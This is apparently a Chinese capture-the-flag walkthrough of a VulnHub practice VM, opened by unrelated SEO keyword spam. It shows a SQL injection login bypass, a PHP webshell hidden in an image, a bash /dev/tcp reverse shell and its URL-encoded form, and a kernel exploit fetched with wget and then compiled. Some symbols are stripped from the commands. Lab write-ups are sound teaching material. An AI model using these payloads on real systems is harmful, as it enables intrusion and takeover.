网站设计公司西安,手机wap网站建设解决方案,手机免费表格软件app,网站开发需要多少钱价格目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 文件包含2. SQL注入3. 文件上传4. 反弹shell5. 提权#xff08;思路1#xff1a;ssh#xff09;6. 提权#xff08;思路2#xff1a;内核#xff09;7. 补充 0x04 总结 0x00 准备 下载链接#… 目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 文件包含2. SQL注入3. 文件上传4. 反弹shell5. 提权思路1ssh6. 提权思路2内核7. 补充 0x04 总结 0x00 准备 下载链接https://download.vulnhub.com/dc/DC-6.zip
介绍
This Virtual machine is using ubuntu (32 bit)
Other packages used: -
PHPApacheMySQL
This virtual machine is having medium difficulty level with tricks.
One need to break into VM using web application and from there escalate privileges to gain root access
For any query ping me at https://twitter.com/IndiShell1046
Enjoy the machine
0x01 主机信息收集 kali的IP地址192.168.119.128eth0
发现目标主机IPnetdiscover -i eth0 -r 192.168.119.0/24
目标主机IP192.168.119.133
探测目标主机的开放端口执行命令nmap -sV -p 1-65535 -A 192.168.119.133
开放了22端口openssh5.980端口apache2.2.22。
直接在浏览器访问80端口
0x02 站点信息收集 这个靶机的介绍里面有说明这是个apachephpmysql的站点。利用插件也可以知道这是个php站点。
看一下站点的目录结构dirsearch -u 192.168.119.133
依次访问一下发现几个看起来比较有用的地方add是一个上传图片的地方
images里面是站点用到的一些图片
index页面就是前面看到的首页了有username和password的输入框。
phpmy是phpmyadmin的登录页面
test页面是一个提示利用file参数提供文件路径
in页面是phpinfo的页面
0x03 漏洞查找与利用 根据上面查找出来的信息可以尝试三个思路。一个是首页的sql注入另一个是文件上传还有一个是文件包含。
1. 文件包含 前面在test页面有个提示可以用file参数提供文件路径。
访问192.168.119.133/test?file/etc/passwd
访问192.168.119.133/test?file/etc/passwd/test?file…/…/…/…/…/…/…/etc/passwd
都是一样的提示file参数是空的。
考虑用POST方式提交
可以看到读取文件成功。 这里用POST方式提交的时候也可以用curl命令curl -d file/etc/passwd http://192.168.119.133/test
尝试读取网站的其他文件前面扫描出来的目录可以都试一下例如读取add.php
在c.php中看到了数据库的用户名是billu密码是b0x_billu默认数据库是ica_lab
在index.php中看到了登录的数据库查询语句select * from auth where pass\.$pass.\ and uname\.$uname.\’ 并且使用了str_replace函数移除了用户名和密码中包含的单引号。
在test.php中看到源码。这段代码的大体意思是通过post给file参数提供一个文件路径如果这个文件存在就设置相关的http信息来下载文件如果文件不存在或者file参数没有值则输出一段提示信息
2. SQL注入 在上一步文件包含的时候查看了index页面的源代码发现了sql查询语句单数输入的单引号被过滤了
select * from auth where pass\.$pass.\ and uname\.$uname.\’
只是单引号被过滤了#和\还没被过滤。思路就是用#注释掉最后一个单引号中间的单引号用反斜杠转义一下。
where pass‘123\’ and uname’123#’
这样的话就变成了查询 pass是 123\’ and uname 的情况。
数据库中应该没有这样的password。那就再后面拼接一个or所以构造下面这样的查询语句
where pass‘123\’ and uname’ or 11 #’
上面这个语句的意思就是查询pass是123\’ and uname 或者 11。这时候应该查询成功了。 所以构造的用户名是 or 11 # 密码是123\
登录成功以后跳转到panle页面
3. 文件上传 点击continue以后会出现用户名和image。
点击 add usercontinue以后会出现上传文件的地方。上传一个非图片的文件后会提示只能上传图片类的文件
考虑制作一个图片马上传到这里。
准备一个图片 1.jpg。
准备一个2.php文件内容如下?php system($_GET[cmd]); ?
执行命令将代码写到图片末尾cat 2.php 1.jpg
可以再看一下图片内容在最后面可以看到写入的代码cat 1.jpg
回到panel页面添加一个用户。添加成功后show一下
用前面的文件包含来看一下panel页面的代码比较重要的部分贴在下面
if(isset($_POST[continue])) {$dir getcwd(); // 获取当前工作目录$choice str_replace(./, , $_POST[load]); // 获取用户选择的操作if($choice add) {include($dir./.$choice..php);die();}if($choice show) {include($dir./.$choice..php);die();} else {include($dir./.$_POST[load]);}
}
这段代码用str_replace函数去除了post请求中load参数值的 ./ 。如果用户选择了 add则展示 add.php 文件如果用户选择了 show则展示 show.php 文件。这里用了include函数并且包含文件的时候choice是可控的这里应该也可以进行文件包含。
if(isset($_POST[upload])) {$name mysqli_real_escape_string($conn, $_POST[name]);$address mysqli_real_escape_string($conn, $_POST[address]);$id mysqli_real_escape_string($conn, $_POST[id]);if(!empty($_FILES[image][name])) {$iname mysqli_real_escape_string($conn, $_FILES[image][name]);$r pathinfo($_FILES[image][name], PATHINFO_EXTENSION);$image array(jpeg, jpg, gif, png);if(in_array($r, $image)) {$finfo new finfo(FILEINFO_MIME);$filetype $finfo-file($_FILES[image][tmp_name]);if(preg_match(/image\/jpeg/, $filetype) || preg_match(/image\/png/, $filetype) || preg_match(/image\/gif/, $filetype)) {if (move_uploaded_file($_FILES[image][tmp_name], uploaded_images/.$_FILES[image][name])) {echo Uploaded successfully ;$update INSERT INTO users(name, address, image, id) VALUES(\.$name.\, \.$address.\, \.$iname.\, \.$id.\);mysqli_query($conn, $update);}} else {echo bri told you dear, only png, jpg and gif file are allowed;}} else {echo bronly png, jpg and gif file are allowed;}}
}
这段代码就是处理用户上传的文件。使用mysqli_real_escape_string函数数据进行转义。检查用户上传的文件的扩展名是否为jpgjpeggifpng使用finfo获取文件的MIME类型确保上传的是图像文件。使用move_uploaded_file()将图像文件移动到 uploaded_images目录中将用户的nameaddressimage和id插入数据的users表中。
在这段代码中发现了一个新的目录访问一下可以看到刚才上传的文件 1.jpg
访问一下这个图片并且给cmd参数提供一个值whoami结果并没有执行命令
通过前面的分析文件包含目前有两个地方。一个是test页面的file参数再就是上面的panel页面的load参数。
试了一下test页面的并没有执行代码
再尝试一下panel页面的发现可以执行代码
那就可以利用这个进行反弹shell。
4. 反弹shell 在kali监听6677端口执行命令nc -lvvp 6677
接下来准备构造反弹shell的语句
语句本身echo bash -i /dev/tcp/192.168.119.128/6677 01 | bash
由于用get方式提交的这个参数并且带有特殊字符所以为了防止解析错误需要对这个进行url编码结果为%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%39%2e%31%32%38%2f%36%36%37%37%20%30%3e%26%31%22%20%7c%20%62%61%73%68
把上面这段代码拼接到cmd参数后面
发现监听成功
5. 提权思路1ssh 看一下当前目录下的文件没发现有什么。
再看一下当前用户可以执行的命令sudo -l报错
在这种情况下这种错误出现一般是因为这里是非交互式环境。可以执行下面的命令获取交互式shellpython -c import pty;pty.spawn(/bin/bash)
再次执行 sudo -l需要输入密码。只能换个思路。 再看看有没有什么敏感文件执行命令ls -l
发现了phpmy目录。想起来在一开始扫描目录结构的时候发现了phpmyadmin的登陆页面。进入这个目录看有没有敏感信息。有个config.inc.php文件查看一下文件的内容发现了数据库的用户名为root密码是roottoor并且下面的一项设置导致不用密码也能登录
利用这个用户名密码去phpmy页面进行登录发现登陆失败。应该不是这个数据库密码空密码也不能登录说明这个配置文件和这个页面没啥直接关系。
换个思路前面还有个22端口没有利用。尝试用这个账号密码进行ssh链接ssh root192.168.119.133
以root身份登录成功。
6. 提权思路2内核 看了一些佬的文章还可以进行内核提权。
在反弹shell以后查看系统版本cat /etc/issue 查询可以利用的漏洞searchsploit ubuntu 12.04
利用 37292.c 这个exp。
将这个文件复制到网站根目录下cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html
开启apache服务/etc/init.d/apache2 start 在反弹的shell中进入/tmp目录cd /tmp
因为tmp目录是全局可写的所有的用户都可以存放文件。
下载 37292.c 文件到目标主机wget http://192.168.119.128/37292.c
将这个文件编译输出到文件 bajigcc 37292.c -o baji
执行文件./baji
7. 补充 前面用文件包含读源码的时候在c.php中看到了数据库的用户名是billu密码是b0x_billu默认数据库是ica_lab。这个在index页面是无法登录的这个应该用在phpmy页面进行登录。
登录上以后在 ica_lab 数据库的auth表中可以看到用户名和密码可以用这里获取到的信息在index页面登录。
0x04 总结 主机信息收集
netdiscover探测目标主机ip。nmap探测开放的端口和服务。
站点信息收集
扫描站点目录依次访问。发现一个index登录页phpmyadmin的登录页。在test页根据提示发现了文件包含可以读取源码。
漏洞利用
文件包含查看源码发现sql查询语句根据这个语句进行sql注入成功登录index页面。上传图片马执行系统命令进行反弹shell。读取配置文件获取敏感信息进行ssh链接。获得系统的版本信息进行内核提权。